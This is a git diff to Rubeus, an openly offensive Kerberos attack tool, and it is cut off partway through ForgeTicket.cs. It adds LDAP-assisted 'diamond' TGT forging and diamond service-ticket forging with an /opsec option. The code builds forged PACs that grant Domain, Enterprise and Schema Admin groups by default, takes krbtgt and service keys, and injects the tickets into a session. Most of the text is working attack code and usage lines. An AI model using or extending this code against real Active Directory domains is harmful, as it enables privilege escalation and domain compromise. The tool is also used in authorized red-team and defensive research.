diff --git a/README.md b/README.md index 293ccb98..64664c00 100755 --- a/README.md +++ b/README.md @@ -83,7 +83,7 @@ Rubeus is licensed under the BSD 3-Clause license. | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ - v2.3.3 + v2.3.4 Ticket requests and renewals: @@ -179,6 +179,12 @@ Rubeus is licensed under the BSD 3-Clause license. Forge a diamond TGT by requesting a TGT using tgtdeleg: Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS] + Forge a diamond ticket using LDAP to gather the relevent information: + Rubeus.exe diamond /user:USER /password:PASSWORD /ldap /ldapuser:USER /ldappassword:PASSWORD [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] + + Forge a diamond service ticket: + Rubeus/exe diamond /service:SPN /servicekey:HASH [/ldap] [/ldapuser:USER] [/ldappassword:PASSWORD] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] + Ticket management: diff --git a/Rubeus/Commands/Diamond.cs b/Rubeus/Commands/Diamond.cs index 97a21f23..f86eb8e0 100644 --- a/Rubeus/Commands/Diamond.cs +++ b/Rubeus/Commands/Diamond.cs @@ -22,15 +22,22 @@ public void Execute(Dictionary arguments) string outfile = ""; string certificate = ""; string krbKey = ""; + string serviceKey = ""; string ticketUser = ""; - string groups = "520,512,513,519,518"; + string groups = ""; int ticketUserId = 0; string sids = ""; + bool opsec = arguments.ContainsKey("/opsec"); bool ptt = arguments.ContainsKey("/ptt"); + bool ldap = arguments.ContainsKey("/ldap"); + if (!ldap) { groups = "520,512,513,519,518"; }; + string ldapuser = null; + string ldappassword = null; bool tgtdeleg = arguments.ContainsKey("/tgtdeleg"); LUID luid = new LUID(); Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; + KRB_CRED kirbi = null; if (arguments.ContainsKey("/user")) { @@ -49,6 +56,10 @@ public void Execute(Dictionary arguments) { domain = arguments["/domain"]; } + if (arguments.ContainsKey("/opsec")) + { + opsec = true; + } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; @@ -62,16 +73,24 @@ public void Execute(Dictionary arguments) sids = arguments["/sids"]; } encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified - if (arguments.ContainsKey("/enctype")) { + if (arguments.ContainsKey("/enctype")) + { string encTypeString = arguments["/enctype"].ToUpper(); - if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) { + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) + { encType = Interop.KERB_ETYPE.rc4_hmac; - } else if (encTypeString.Equals("AES128")) { + } + else if (encTypeString.Equals("AES128")) + { encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; - } else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) { + } + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) + { encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; - } else if (encTypeString.Equals("DES")) { + } + else if (encTypeString.Equals("DES")) + { encType = Interop.KERB_ETYPE.des_cbc_md5; } } @@ -123,18 +142,24 @@ public void Execute(Dictionary arguments) hash = arguments["/aes256"]; encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } - - if (arguments.ContainsKey("/certificate")) { + + if (arguments.ContainsKey("/certificate")) + { certificate = arguments["/certificate"]; } - if (arguments.ContainsKey("/krbkey")) { + if (arguments.ContainsKey("/krbkey")) + { krbKey = arguments["/krbkey"]; } + if (arguments.ContainsKey("/servicekey")) + { + serviceKey = arguments["/servicekey"]; + } if (arguments.ContainsKey("/ticketuser")) { ticketUser = arguments["/ticketuser"]; } - if (arguments.ContainsKey("/groups")) + if (arguments.ContainsKey("/groups")) { groups = arguments["/groups"]; } @@ -176,27 +201,75 @@ public void Execute(Dictionary arguments) Console.WriteLine(); } - if (tgtdeleg) - { + // getting the user information from LDAP + if (arguments.ContainsKey("/ldap")) + { + ldap = true; + if (arguments.ContainsKey("/creduser")) + { + if (!arguments.ContainsKey("/credpassword")) + { + Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); + return; + } + + ldapuser = arguments["/creduser"]; + ldappassword = arguments["/credpassword"]; + } + + if (String.IsNullOrEmpty(domain)) + { + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + } + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + kirbi = new KRB_CRED(kirbiBytes); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + kirbi = new KRB_CRED(kirbiBytes); + } + else + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + } + + if (tgtdeleg) + { KRB_CRED cred = null; - try { + try + { cred = new KRB_CRED(LSA.RequestFakeDelegTicket()); } - catch { + catch + { Console.WriteLine("[X] Unable to retrieve TGT using tgtdeleg"); return; } - ForgeTickets.ModifyTicket(cred, krbKey, krbKey, outfile, ptt, luid, ticketUser, groups, ticketUserId, sids); + ForgeTickets.ModifyTicket(cred, krbKey, krbKey, outfile, ldap, ldapuser, ldappassword, dc, domain, ptt, luid, ticketUser, groups, ticketUserId, sids); + } + else if (null!=kirbi) + { + ForgeTickets.ModifyTicket(kirbi, serviceKey, krbKey, outfile, ldap, ldapuser, ldappassword, dc, domain, ptt, luid, ticketUser, groups, ticketUserId, sids); } else { if (String.IsNullOrEmpty(certificate)) - ForgeTickets.DiamondTicket(user, domain, hash, encType, outfile, ptt, dc, luid, krbKey, ticketUser, groups, ticketUserId, sids); + ForgeTickets.DiamondTicket(user, domain, hash, encType, outfile, opsec, ldap, ptt, ldapuser, ldappassword, dc, luid, krbKey, ticketUser, groups, ticketUserId, sids); else - ForgeTickets.DiamondTicket(user, domain, certificate, password, encType, outfile, ptt, dc, luid, krbKey, ticketUser, groups, ticketUserId, sids); + ForgeTickets.DiamondTicket(user, domain, certificate, password, encType, outfile, opsec, ldap, ptt, ldapuser, ldappassword, dc, luid, krbKey, ticketUser, groups, ticketUserId, sids); } - + return; } } -} +} \ No newline at end of file diff --git a/Rubeus/Commands/Kirbi.cs b/Rubeus/Commands/Kirbi.cs index 6ba68b98..17b5af7b 100644 --- a/Rubeus/Commands/Kirbi.cs +++ b/Rubeus/Commands/Kirbi.cs @@ -96,7 +96,7 @@ public void Execute(Dictionary arguments) } } - ForgeTickets.ModifyKirbi(kirbi, sessionKey, sessionKeyEtype, ptt, luid, outfile); + ForgeTickets.ModifyTicket(kirbi, sessionKey:sessionKey, sessionKeyEtype:sessionKeyEtype, ptt:ptt, luid:luid, outfile:outfile); } } } diff --git a/Rubeus/Domain/CommandCollection.cs b/Rubeus/Domain/CommandCollection.cs index 94d3cdef..e98534de 100755 --- a/Rubeus/Domain/CommandCollection.cs +++ b/Rubeus/Domain/CommandCollection.cs @@ -54,12 +54,12 @@ public bool ExecuteCommand(string commandName, Dictionary argume bool commandWasFound; if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false) - commandWasFound= false; + commandWasFound = false; else { // Create the command object var command = _availableCommands[commandName].Invoke(); - + // and execute it with the arguments from the command line command.Execute(arguments); diff --git a/Rubeus/Domain/Info.cs b/Rubeus/Domain/Info.cs index 5eab79a5..b5203764 100755 --- a/Rubeus/Domain/Info.cs +++ b/Rubeus/Domain/Info.cs @@ -12,7 +12,7 @@ public static void ShowLogo() Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)"); Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |"); Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n"); - Console.WriteLine(" v2.3.3 \r\n"); + Console.WriteLine(" v2.3.4 \r\n"); } public static void ShowUsage() @@ -100,14 +100,19 @@ public static void ShowUsage() Rubeus.exe silver [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt] Forge a diamond TGT by requesting a TGT based on a user password/hash: - Rubeus.exe diamond /user:USER [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS] + Rubeus.exe diamond /user:USER [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS] [/opsec] Forge a diamond TGT by requesting a TGT using a PCKS12 certificate: - Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS] + Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS] [/opsec] - Forge a diamond TGT by requesting a TGT using tgtdeleg: - Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS] - + Forge a diamond TGT by requesting a TGT using tgtdeleg: + Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS] [/opsec] + + Forge a diamond ticket using LDAP to gather the relevent information: + Rubeus.exe diamond /user:USER /password:PASSWORD /ldap /ldapuser:USER /ldappassword:PASSWORD [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] + + Forge a diamond service ticket: + Rubeus/exe diamond /service:SPN /servicekey:HASH [/ldap] [/ldapuser:USER] [/ldappassword:PASSWORD] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] Ticket management: diff --git a/Rubeus/Rubeus.csproj b/Rubeus/Rubeus.csproj index c652da8e..6c7298ab 100755 --- a/Rubeus/Rubeus.csproj +++ b/Rubeus/Rubeus.csproj @@ -246,4 +246,4 @@ --> - \ No newline at end of file + diff --git a/Rubeus/lib/ForgeTicket.cs b/Rubeus/lib/ForgeTicket.cs index 5d86e76a..5a7c45df 100755 --- a/Rubeus/lib/ForgeTicket.cs +++ b/Rubeus/lib/ForgeTicket.cs @@ -1,893 +1,565 @@ -using System; -using System.Text; -using System.Security.Principal; -using System.Collections.Generic; -using System.Linq; -using System.Globalization; -using System.DirectoryServices; -using System.Text.RegularExpressions; -using Rubeus.lib.Interop; -using Rubeus.Kerberos.PAC; -using Rubeus.Kerberos; - -namespace Rubeus -{ - public class ForgeTickets - { - public static void ForgeTicket( - // always required arguments - string user, - string sname, - byte[] serviceKey, - Interop.KERB_ETYPE etype, - // krbtgt key information - byte[] krbKey = null, - Interop.KERB_CHECKSUM_ALGORITHM krbeType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256, - // ldap information - bool ldap = false, - string ldapuser = null, - string ldappassword = null, - // domain and DC information - string sid = "", - string domain = "", - string netbiosName = "", - string domainController = "", - // ticket flags - Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent, - // ticket time information - DateTime? startTime = null, - DateTime? rangeEnd = null, - string rangeInterval = "1d", - DateTime? authTime = null, - string endTime = "", - string renewTill = "", - // other PAC fields - int? id = null, - string groups = "", - string sids = "", - string displayName = "", - short? logonCount = null, - short? badPwdCount = null, - DateTime? lastLogon = null, - DateTime? logoffTime = null, - DateTime? pwdLastSet = null, - int? maxPassAge = null, - int? minPassAge = null, - int? pGid = null, - string homeDir = "", - string homeDrive = "", - string profilePath = "", - string scriptPath = "", - string resourceGroupSid = "", - List resourceGroups = null, - Interop.PacUserAccountControl uac = Interop.PacUserAccountControl.NORMAL_ACCOUNT, - bool newPac = true, - bool extendedUpnDns = false, - // arguments to deal with resulting ticket(s) - string outfile = null, - bool ptt = false, - // print a command to rebuild the ticket(s) - bool printcmd = false, - // arguments for unusual tickets - string cName = null, - string cRealm = null, - string s4uProxyTarget = null, - string s4uTransitedServices = null, - bool includeAuthData = false, +using System; +using System.Text; +using System.Security.Principal; +using System.Collections.Generic; +using System.Linq; +using System.Globalization; +using System.DirectoryServices; +using System.Text.RegularExpressions; +using Rubeus.lib.Interop; +using Rubeus.Kerberos.PAC; +using Rubeus.Kerberos; +using System.DirectoryServices.Protocols; +using static Rubeus.Interop; +using System.DirectoryServices.ActiveDirectory; +using System.Security.Cryptography; +using System.Xml.Linq; + +namespace Rubeus +{ + public class ForgeTickets + { + public static void ForgeTicket( + // always required arguments + string user, + string sname, + byte[] serviceKey, + Interop.KERB_ETYPE etype, + // krbtgt key information + byte[] krbKey = null, + Interop.KERB_CHECKSUM_ALGORITHM krbeType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256, + // ldap information + bool ldap = false, + string ldapuser = null, + string ldappassword = null, + // domain and DC information + string sid = "", + string domain = "", + string netbiosName = "", + string domainController = "", + // ticket flags + Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent, + // ticket time information + DateTime? startTime = null, + DateTime? rangeEnd = null, + string rangeInterval = "1d", + DateTime? authTime = null, + string endTime = "", + string renewTill = "", + // other PAC fields + int? id = null, + string groups = "", + string sids = "", + string displayName = "", + short? logonCount = null, + short? badPwdCount = null, + DateTime? lastLogon = null, + DateTime? logoffTime = null, + DateTime? pwdLastSet = null, + int? maxPassAge = null, + int? minPassAge = null, + int? pGid = null, + string homeDir = "", + string homeDrive = "", + string profilePath = "", + string scriptPath = "", + string resourceGroupSid = "", + List resourceGroups = null, + Interop.PacUserAccountControl uac = Interop.PacUserAccountControl.NORMAL_ACCOUNT, + bool newPac = true, + bool extendedUpnDns = false, + // arguments to deal with resulting ticket(s) + string outfile = null, + bool ptt = false, + // print a command to rebuild the ticket(s) + bool printcmd = false, + // arguments for unusual tickets + string cName = null, + string cRealm = null, + string s4uProxyTarget = null, + string s4uTransitedServices = null, + bool includeAuthData = false, bool noFullPacSig = false, - Int32 rodcNumber = 0 - ) - { - // vars - int c = 0; - DateTime originalStartTime = (DateTime)startTime; - System.Net.NetworkCredential ldapCred = null; - int? origMinPassAge = minPassAge; - int? origMaxPassAge = maxPassAge; - - // initialise LogonInfo section and set defaults - var kvi = Ndr._KERB_VALIDATION_INFO.CreateDefault(); - kvi.EffectiveName = new Ndr._RPC_UNICODE_STRING(user); - kvi.FullName = new Ndr._RPC_UNICODE_STRING(""); - kvi.HomeDirectory = new Ndr._RPC_UNICODE_STRING(""); - kvi.HomeDirectoryDrive = new Ndr._RPC_UNICODE_STRING(""); - kvi.ProfilePath = new Ndr._RPC_UNICODE_STRING(""); - kvi.LogonScript = new Ndr._RPC_UNICODE_STRING(""); - kvi.LogonServer = new Ndr._RPC_UNICODE_STRING(""); - kvi.UserSessionKey = Ndr._USER_SESSION_KEY.CreateDefault(); - kvi.LogonTime = new Ndr._FILETIME(((DateTime)startTime).AddSeconds(-1)); - kvi.LogoffTime = Ndr._FILETIME.CreateDefault(); - kvi.PasswordLastSet = Ndr._FILETIME.CreateDefault(); - kvi.KickOffTime = Ndr._FILETIME.CreateDefault(); - kvi.PasswordCanChange = Ndr._FILETIME.CreateDefault(); - kvi.PasswordMustChange = Ndr._FILETIME.CreateDefault(); - kvi.LogonCount = 0; - kvi.BadPasswordCount = 0; - kvi.UserId = 500; - kvi.PrimaryGroupId = 513; - if (string.IsNullOrEmpty(groups)) - { - kvi.GroupCount = 5; - kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[] { - new Ndr._GROUP_MEMBERSHIP(520, 0), - new Ndr._GROUP_MEMBERSHIP(512, 0), - new Ndr._GROUP_MEMBERSHIP(513, 0), - new Ndr._GROUP_MEMBERSHIP(519, 0), - new Ndr._GROUP_MEMBERSHIP(518, 0), - }; - } - kvi.UserAccountControl = (int)uac; - kvi.UserFlags = 0; - if (String.IsNullOrEmpty(sids)) - { - kvi.SidCount = 0; - kvi.ExtraSids = new Ndr._KERB_SID_AND_ATTRIBUTES[] { - new Ndr._KERB_SID_AND_ATTRIBUTES()}; - } - int upnFlags = 1; - - // get network credential from ldapuser and ldappassword - if (!String.IsNullOrEmpty(ldapuser)) - { - // provide an alternate user to use for connection creds - if (!Regex.IsMatch(ldapuser, ".+\\.+", RegexOptions.IgnoreCase)) - { - Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); - return; - } - - try - { - string[] ldapParts = ldapuser.Split('\\'); - string ldapDomainName = ldapParts[0]; - string ldapUserName = ldapParts[1]; - - ldapCred = new System.Net.NetworkCredential(ldapUserName, ldappassword, ldapDomainName); - } - catch - { - Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); - return; - } - } - - - // determine domain if not supplied - string[] parts = sname.Split('/'); - if (String.IsNullOrEmpty(domain)) - { - if ((parts.Length > 1) && (parts[0] == "krbtgt")) - { - Console.WriteLine("[X] TGT or referral TGT requires /domain to be passed."); - return; - } - else if ((parts.Length == 1) && (sname.Split('@').Length == 1)) - { - Console.WriteLine("[X] SPN has to be in the format 'svc/host.domain.com' or 'host@domain.com'."); - return; - } - else if (parts.Length > 1) - { - domain = parts[1].Substring(parts[1].IndexOf('.') + 1); - string[] domainParts = domain.Split(':'); - if (domainParts.Length > 1) - { - domain = domainParts[0]; - } - } - else if (sname.Split('@').Length > 1) - { - domain = sname.Split('@')[1]; - } - else - { - Console.WriteLine("[X] SPN is in a unsupported format: {0}.", sname); - return; - } - } - if (String.IsNullOrEmpty(netbiosName)) - { - kvi.LogonDomainName = new Ndr._RPC_UNICODE_STRING(domain.Substring(0, domain.IndexOf('.')).ToUpperInvariant()); - } - - // if /ldap was passed make the LDAP queries - if (ldap) - { - // try LDAPS and fail back to LDAP - List> ActiveDirectoryObjects = null; - bool ssl = true; - if (String.IsNullOrEmpty(domainController)) - { - domainController = Networking.GetDCName(domain); //if domain is null, this will try to find a DC in current user's domain - } - - Console.WriteLine("[*] Trying to query LDAP using LDAPS for user information on domain controller {0}", domainController); - ActiveDirectoryObjects = Networking.GetLdapQuery(ldapCred, "", domainController, domain, String.Format("(samaccountname={0})", user), ssl); - if (ActiveDirectoryObjects == null) - { - Console.WriteLine("[!] LDAPS failed, retrying with plaintext LDAP."); - ssl = false; - ActiveDirectoryObjects = Networking.GetLdapQuery(ldapCred, "", domainController, domain, String.Format("(samaccountname={0})", user), ssl); - } - if (ActiveDirectoryObjects == null) - { - Console.WriteLine("[X] Error LDAP query failed, unable to create ticket using LDAP."); - return; - } - - foreach (var userObject in ActiveDirectoryObjects) - { - string objectSid = (string)userObject["objectsid"]; - string domainSid = objectSid.Substring(0, objectSid.LastIndexOf('-')); - - // parse the UAC field and set in the PAC - if (uac == Interop.PacUserAccountControl.NORMAL_ACCOUNT) - { - kvi.UserAccountControl = 0; - Interop.LDAPUserAccountControl userUAC = (Interop.LDAPUserAccountControl)userObject["useraccountcontrol"]; - if ((userUAC & Interop.LDAPUserAccountControl.ACCOUNTDISABLE) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.ACCOUNTDISABLE; - } - if ((userUAC & Interop.LDAPUserAccountControl.HOMEDIR_REQUIRED) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.HOMEDIR_REQUIRED; - } - - if ((userUAC & Interop.LDAPUserAccountControl.PASSWD_NOTREQD) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.PASSWD_NOTREQD; - } - if ((userUAC & Interop.LDAPUserAccountControl.TEMP_DUPLICATE_ACCOUNT) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.TEMP_DUPLICATE_ACCOUNT; - } - if ((userUAC & Interop.LDAPUserAccountControl.NORMAL_ACCOUNT) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.NORMAL_ACCOUNT; - } - if ((userUAC & Interop.LDAPUserAccountControl.MNS_LOGON_ACCOUNT) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.MNS_LOGON_ACCOUNT; - } - if ((userUAC & Interop.LDAPUserAccountControl.INTERDOMAIN_TRUST_ACCOUNT) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.INTERDOMAIN_TRUST_ACCOUNT; - } - if ((userUAC & Interop.LDAPUserAccountControl.WORKSTATION_TRUST_ACCOUNT) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.WORKSTATION_TRUST_ACCOUNT; - } - if ((userUAC & Interop.LDAPUserAccountControl.SERVER_TRUST_ACCOUNT) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.SERVER_TRUST_ACCOUNT; - } - if ((userUAC & Interop.LDAPUserAccountControl.DONT_EXPIRE_PASSWORD) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD; - } - // Is this right? LDAP UAC field doesn't contain ACCOUNT_AUTO_LOCKED, LOCKOUT looks like the most likely candidate - if ((userUAC & Interop.LDAPUserAccountControl.LOCKOUT) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.ACCOUNT_AUTO_LOCKED; - } - if ((userUAC & Interop.LDAPUserAccountControl.ENCRYPTED_TEXT_PWD_ALLOWED) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.ENCRYPTED_TEXT_PASSWORD_ALLOWED; - } - if ((userUAC & Interop.LDAPUserAccountControl.SMARTCARD_REQUIRED) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.SMARTCARD_REQUIRED; - } - if ((userUAC & Interop.LDAPUserAccountControl.TRUSTED_FOR_DELEGATION) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.TRUSTED_FOR_DELEGATION; - } - if ((userUAC & Interop.LDAPUserAccountControl.NOT_DELEGATED) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.NOT_DELEGATED; - } - if ((userUAC & Interop.LDAPUserAccountControl.USE_DES_KEY_ONLY) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.USE_DES_KEY_ONLY; - } - if ((userUAC & Interop.LDAPUserAccountControl.DONT_REQ_PREAUTH) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.DONT_REQ_PREAUTH; - } - if ((userUAC & Interop.LDAPUserAccountControl.PASSWORD_EXPIRED) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.PASSWORD_EXPIRED; - } - if ((userUAC & Interop.LDAPUserAccountControl.TRUSTED_TO_AUTH_FOR_DELEGATION) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.TRUSTED_TO_AUTH_FOR_DELEGATION; - } - if ((userUAC & Interop.LDAPUserAccountControl.NO_AUTH_DATA_REQUIRED) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.NO_AUTH_DATA_REQUIRED; - } - if ((userUAC & Interop.LDAPUserAccountControl.PARTIAL_SECRETS_ACCOUNT) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.PARTIAL_SECRETS_ACCOUNT; - } - /* No USE_AES_KEYS bit seems to exist in the UAC field returned by LDAP - if ((userUAC & Interop.LDAPUserAccountControl.USE_AES_KEYS) != 0) - { - kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.USE_AES_KEYS; - }*/ - } - - if (userObject.ContainsKey("userprincipalname") && !String.IsNullOrWhiteSpace((string)userObject["userprincipalname"])) + Int32 rodcNumber = 0 + ) + { + // vars + int c = 0; + DateTime originalStartTime = (DateTime)startTime; + System.Net.NetworkCredential ldapCred = null; + int? origMinPassAge = minPassAge; + int? origMaxPassAge = maxPassAge; + + // initialise LogonInfo section and set defaults + var kvi = Ndr._KERB_VALIDATION_INFO.CreateDefault(); + kvi.EffectiveName = new Ndr._RPC_UNICODE_STRING(user); + kvi.FullName = new Ndr._RPC_UNICODE_STRING(""); + kvi.HomeDirectory = new Ndr._RPC_UNICODE_STRING(""); + kvi.HomeDirectoryDrive = new Ndr._RPC_UNICODE_STRING(""); + kvi.ProfilePath = new Ndr._RPC_UNICODE_STRING(""); + kvi.LogonScript = new Ndr._RPC_UNICODE_STRING(""); + kvi.LogonServer = new Ndr._RPC_UNICODE_STRING(""); + kvi.UserSessionKey = Ndr._USER_SESSION_KEY.CreateDefault(); + kvi.LogonTime = new Ndr._FILETIME(((DateTime)startTime).AddSeconds(-1)); + kvi.LogoffTime = Ndr._FILETIME.CreateDefault(); + kvi.PasswordLastSet = Ndr._FILETIME.CreateDefault(); + kvi.KickOffTime = Ndr._FILETIME.CreateDefault(); + kvi.PasswordCanChange = Ndr._FILETIME.CreateDefault(); + kvi.PasswordMustChange = Ndr._FILETIME.CreateDefault(); + kvi.LogonCount = 0; + kvi.BadPasswordCount = 0; + kvi.UserId = 500; + kvi.PrimaryGroupId = 513; + if (string.IsNullOrEmpty(groups)) + { + kvi.GroupCount = 5; + kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[] { + new Ndr._GROUP_MEMBERSHIP(520, 0), + new Ndr._GROUP_MEMBERSHIP(512, 0), + new Ndr._GROUP_MEMBERSHIP(513, 0), + new Ndr._GROUP_MEMBERSHIP(519, 0), + new Ndr._GROUP_MEMBERSHIP(518, 0), + }; + } + kvi.UserAccountControl = (int)uac; + kvi.UserFlags = 0; + if (String.IsNullOrEmpty(sids)) + { + kvi.SidCount = 0; + kvi.ExtraSids = new Ndr._KERB_SID_AND_ATTRIBUTES[] { + new Ndr._KERB_SID_AND_ATTRIBUTES()}; + } + int upnFlags = 1; + + // get network credential from ldapuser and ldappassword + if (!String.IsNullOrEmpty(ldapuser)) + { + // provide an alternate user to use for connection creds + if (!Regex.IsMatch(ldapuser, ".+\\.+", RegexOptions.IgnoreCase)) + { + Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); + return; + } + + try + { + string[] ldapParts = ldapuser.Split('\\'); + string ldapDomainName = ldapParts[0]; + string ldapUserName = ldapParts[1]; + + ldapCred = new System.Net.NetworkCredential(ldapUserName, ldappassword, ldapDomainName); + } + catch + { + Console.WriteLine("\r\n[X] 